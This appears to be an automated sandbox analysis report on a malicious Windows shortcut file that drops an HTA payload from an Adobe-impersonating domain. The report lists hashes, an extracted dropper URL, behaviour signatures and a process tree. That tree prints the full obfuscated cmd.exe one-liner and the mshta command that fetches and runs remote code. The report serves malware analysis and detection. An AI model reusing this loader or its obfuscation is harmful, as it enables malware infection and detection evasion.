Analysis

  • max time kernel
    148s
  • max time network
    117s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:12

General

  • Target
    DOC-SPDYDI.lnk
  • Size 2KB
  • Sample260803-qfx7asaa73
  • SHA256 3ea60cd1cee5536f1a0ffb6a5a63140d09769215c326f51d4d9283feb36e1d6b
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://br-adobe.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-SPDYDI.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6012
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set sI=winhnkggjlgktyusoyvmgchrtxwin&&set dCZ=systshuofonuoizfctahtxsys&&set dhzY=dbguaftvyyznifbdbg&&set gRpRg=winfycndfuskqwin&&set kcXzT=datcigictzpatbldat&&set Sfkk=j4ustyis&&set QoCbq=btjart3p&&set EIk=cacheowkpdzzdwgsxdzchtcache&&set wUI=dbgbwupdbg&&set sc=sysicraswhsxntckndpucdsys&&set HBZM=dbgreonstsrlkelkdughlaedbg&&set JIo=neteffjdnksnsrctmnet&&set TJOS=cacheamyqcoripliucache&&set gd=crm590&&set UHY=kshtal&&set vW=ht@tp@s://br@-@ado@b@e@.@la@t/h@/es@t@[email protected]@?r=3607@6@1F157@94&&start /b !gd:~2,1!!UHY:~1,4! !vW:@=!&&set fRrON=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1884
      • C:\Windows\System32\mshta.exe
        mshta https://br-adobe.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:3324

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads